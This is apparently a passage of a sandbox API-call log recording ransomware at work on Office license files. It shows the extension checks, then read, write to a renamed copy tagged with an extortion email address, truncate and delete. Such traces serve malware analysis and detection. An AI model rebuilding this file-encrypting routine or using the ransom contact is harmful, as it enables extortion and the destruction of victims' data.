(lpString1=".ppt", lpString2="m-ms") returned -1 [0187.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0187.219] lstrlenW (lpString=".zip") returned 4 [0187.219] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0187.219] lstrlenW (lpString=".rar") returned 4 [0187.219] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0187.219] lstrlenW (lpString=".bz2") returned 4 [0187.219] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0187.219] lstrlenW (lpString=".7z") returned 3 [0187.220] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0187.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0187.220] lstrlenW (lpString=".dbf") returned 4 [0187.220] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0187.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0187.220] lstrlenW (lpString=".1cd") returned 4 [0187.220] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0187.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0187.220] lstrlenW (lpString=".jpg") returned 4 [0187.220] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0187.220] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0187.220] lstrlenW (lpString="HomeStudentR_OEM_Perp-pl.xrm-ms") returned 31 [0187.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0187.221] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=10659) returned 1 [0187.221] CloseHandle (hObject=0x570) returned 1 [0187.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms")) returned 0x220 [0187.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0187.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0187.221] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.222] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0187.222] GetLastError () returned 0x0 [0187.222] ReadFile (in: hFile=0x570, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x29a3, lpOverlapped=0x0) returned 1 [0187.487] WriteFile (in: hFile=0x574, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x29b0, lpOverlapped=0x0) returned 1 [0187.488] ReadFile (in: hFile=0x570, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0187.488] WriteFile (in: hFile=0x574, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x112, lpOverlapped=0x0) returned 1 [0187.488] SetEndOfFile (hFile=0x574) returned 1 [0187.957] CloseHandle (hObject=0x574) returned 1 [0188.042] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.042] SetEndOfFile (hFile=0x570) returned 1 [0188.045] CloseHandle (hObject=0x570) returned 1 [0188.046] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0188.046] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms")) returned 1 [0188.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81 [0188.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81 [0188.047] lstrlenW (lpString=".doc") returned 4 [0188.047] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0188.047] lstrlenW (lpString=".docx") returned 5 [0188.048] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0188.048] lstrlenW (lpString=".pdf") returned 4 [0188.048] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0188.048] lstrlenW (lpString=".xls") returned 4 [0188.048] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0188.048] lstrlenW (lpString=".xlsx") returned 5 [0188.048] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0188.048] lstrlenW (lpString=".ppt") returned 4 [0188.048] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0188.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81 [0188.048] lstrlenW (lpString=".zip") returned 4 [0188.048] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0188.048] lstrlenW (lpString=".rar") returned 4 [0188.048] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0188.048] lstrlenW (lpString=".bz2") returned 4 [0188.048] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0188.048] lstrlenW (lpString=".7z") returned 3 [0188.048] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0188.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81 [0188.048] lstrlenW (lpString=".dbf") returned 4 [0188.048] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0188.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81 [0188.048] lstrlenW (lpString=".1cd") returned 4 [0188.048] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0188.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81 [0188.048] lstrlenW (lpString=".jpg") returned 4 [0188.048] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0188.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81 [0188.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81 [0188.049] lstrlenW (lpString=".doc") returned 4 [0188.049] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0188.049] lstrlenW (lpString=".docx") returned 5 [0188.049] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0188.049] lstrlenW (lpString=".pdf") returned 4 [0188.049] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0188.049] lstrlenW (lpString=".xls") returned 4 [0188.049] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0188.049] lstrlenW (lpString=".xlsx") returned 5 [0188.049] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0188.049] lstrlenW (lpString=".ppt") returned 4 [0188.049] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0188.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81 [0188.049] lstrlenW (lpString=".zip") returned 4 [0188.049] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0188.049] lstrlenW (lpString=".rar") returned 4 [0188.049] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0188.049] lstrlenW (lpString=".bz2") returned 4 [0188.049] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0188.049] lstrlenW (lpString=".7z") returned 3 [0188.049] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0188.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81 [0188.049] lstrlenW (lpString=".dbf") returned 4 [0188.049] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0188.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81 [0188.050] lstrlenW (lpString=".1cd") returned 4 [0188.050] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0188.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81 [0188.050] lstrlenW (lpString=".jpg") returned 4 [0188.050] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0188.050] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0188.050] lstrlenW (lpString="HomeStudentR_Retail-ppd.xrm-ms") returned 30 [0188.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0188.051] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=21604) returned 1 [0188.051] CloseHandle (hObject=0x570) returned 1 [0188.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ppd.xrm-ms")) returned 0x220 [0188.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0188.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0188.052] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.052] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0188.053] GetLastError () returned 0x0 [0188.053] ReadFile (in: hFile=0x570, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x5464, lpOverlapped=0x0) returned 1 [0188.056] WriteFile (in: hFile=0x518, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x5470, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x5470, lpOverlapped=0x0) returned 1 [0188.057] ReadFile (in: hFile=0x570, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0188.057] WriteFile (in: hFile=0x518, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x110, lpOverlapped=0x0) returned 1 [0188.058] SetEndOfFile (hFile=0x518) returned 1 [0188.058] CloseHandle (hObject=0x518) returned 1 [0188.058] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.058] SetEndOfFile (hFile=0x570) returned 1 [0188.062] CloseHandle (hObject=0x570) returned 1 [0188.062] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0188.062] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ppd.xrm-ms")) returned 1 [0188.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0188.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0188.063] lstrlenW (lpString=".doc") returned 4 [0188.063] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0188.064] lstrlenW (lpString=".docx") returned 5 [0188.064] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0188.064] lstrlenW (lpString=".pdf") returned 4 [0188.064] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0188.064] lstrlenW (lpString=".xls") returned 4 [0188.064] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0188.064] lstrlenW (lpString=".xlsx") returned 5 [0188.064] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0188.064] lstrlenW (lpString=".ppt") returned 4 [0188.064] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0188.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0188.064] lstrlenW (lpString=".zip") returned 4 [0188.064] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0188.064] lstrlenW (lpString=".rar") returned 4 [0188.064] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0188.064] lstrlenW (lpString=".bz2") returned 4 [0188.064] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0188.064] lstrlenW (lpString=".7z") returned 3 [0188.064] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0188.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0188.064] lstrlenW (lpString=".dbf") returned 4 [0188.064] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0188.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0188.064] lstrlenW (lpString=".1cd") returned 4 [0188.064] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0188.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0188.064] lstrlenW (lpString=".jpg") returned 4 [0188.065] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0188.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0188.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0188.065] lstrlenW (lpString=".doc") returned 4 [0188.065] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0188.065] lstrlenW (lpString=".docx") returned 5 [0188.065] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0188.065] lstrlenW (lpString=".pdf") returned 4 [0188.065] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0188.065] lstrlenW (lpString=".xls") returned 4 [0188.065] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0188.065] lstrlenW (lpString=".xlsx") returned 5 [0188.065] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0188.065] lstrlenW (lpString=".ppt") returned 4 [0188.065] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0188.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0188.065] lstrlenW (lpString=".zip") returned 4 [0188.065] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0188.065] lstrlenW (lpString=".rar") returned 4 [0188.065] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0188.065] lstrlenW (lpString=".bz2") returned 4 [0188.065] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0188.065] lstrlenW (lpString=".7z") returned 3 [0188.065] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0188.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0188.065] lstrlenW (lpString=".dbf") returned 4 [0188.066] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0188.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0188.066] lstrlenW (lpString=".1cd") returned 4 [0188.066] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0188.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0188.066] lstrlenW (lpString=".jpg") returned 4 [0188.066] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0188.066] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0188.066] lstrlenW (lpString="HomeStudentR_Retail-ul-oob.xrm-ms") returned 33 [0188.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0188.067] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=11604) returned 1 [0188.067] CloseHandle (hObject=0x570) returned 1 [0188.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-oob.xrm-ms")) returned 0x220 [0188.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0188.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0188.068] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.068] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0188.069] GetLastError () returned 0x0 [0188.069] ReadFile (in: hFile=0x570, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x2d54, lpOverlapped=0x0) returned 1 [0188.071] WriteFile (in: hFile=0x518, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x2d60, lpOverlapped=0x0) returned 1 [0188.073] ReadFile (in: hFile=0x570, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0188.073] WriteFile (in: hFile=0x518, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x116, lpOverlapped=0x0) returned 1 [0188.073] SetEndOfFile (hFile=0x518) returned 1 [0188.074] CloseHandle (hObject=0x518) returned 1 [0188.074] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.074] SetEndOfFile (hFile=0x570) returned 1 [0188.234] CloseHandle (hObject=0x570) returned 1 [0188.235] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0188.239] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-oob.xrm-ms")) returned 1 [0188.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0188.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0188.241] lstrlenW (lpString=".doc") returned 4 [0188.241] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0188.241] lstrlenW (lpString=".docx") returned 5 [0188.241] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0188.241] lstrlenW (lpString=".pdf") returned 4 [0188.241] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0188.241] lstrlenW (lpString=".xls") returned 4 [0188.241] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0188.241] lstrlenW (lpString=".xlsx") returned 5 [0188.241] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0188.241] lstrlenW (lpString=".ppt") returned 4 [0188.241] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0188.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0188.241] lstrlenW (lpString=".zip") returned 4 [0188.241] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0188.241] lstrlenW (lpString=".rar") returned 4 [0188.241] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0188.241] lstrlenW (lpString=".bz2") returned 4 [0188.241] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0188.241] lstrlenW (lpString=".7z") returned 3 [0188.241] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0188.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0188.242] lstrlenW (lpString=".dbf") returned 4 [0188.242] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0188.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0188.242] lstrlenW (lpString=".1cd") returned 4 [0188.242] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0188.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0188.242] lstrlenW (lpString=".jpg") returned 4 [0188.242] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0188.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0188.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0188.242] lstrlenW (lpString=".doc") returned 4 [0188.242] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0188.242] lstrlenW (lpString=".docx") returned 5 [0188.242] lstrcmpiW 